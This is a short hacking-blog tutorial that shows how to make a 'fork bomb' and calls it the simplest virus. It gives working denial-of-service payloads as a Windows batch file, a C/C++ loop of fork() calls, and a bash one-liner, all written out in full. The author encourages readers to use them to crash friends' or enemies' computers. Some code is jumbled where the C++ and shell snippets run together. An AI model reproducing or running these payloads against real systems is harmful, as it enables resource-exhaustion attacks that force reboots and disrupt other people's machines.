A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:
%0|%0and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .
Here is a in C++ version of Fork bomb
#include <unistd.h>and a shell (Unix/bash) version
int main(void)
{
while(1)
fork();
return 0;
}
:(){ :|:& };:Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation. Stopping a fork bomb requires destroying all running instances of it. Trying to use a program to kill the rogue processes normally requires creating another process a difficult or impossible task as it will totally use memory for its instances.
Use it for crashing your friends/foe’s PC :P .
Posted by XERO . ALL RIGHTS RESERVED.
Technorati Tags: hacking,security,tutorials,how to,rdhacker,prohack,fork bomb,make simple virus,simplest virus
0 comments:
Need to say something ? Spell it out :)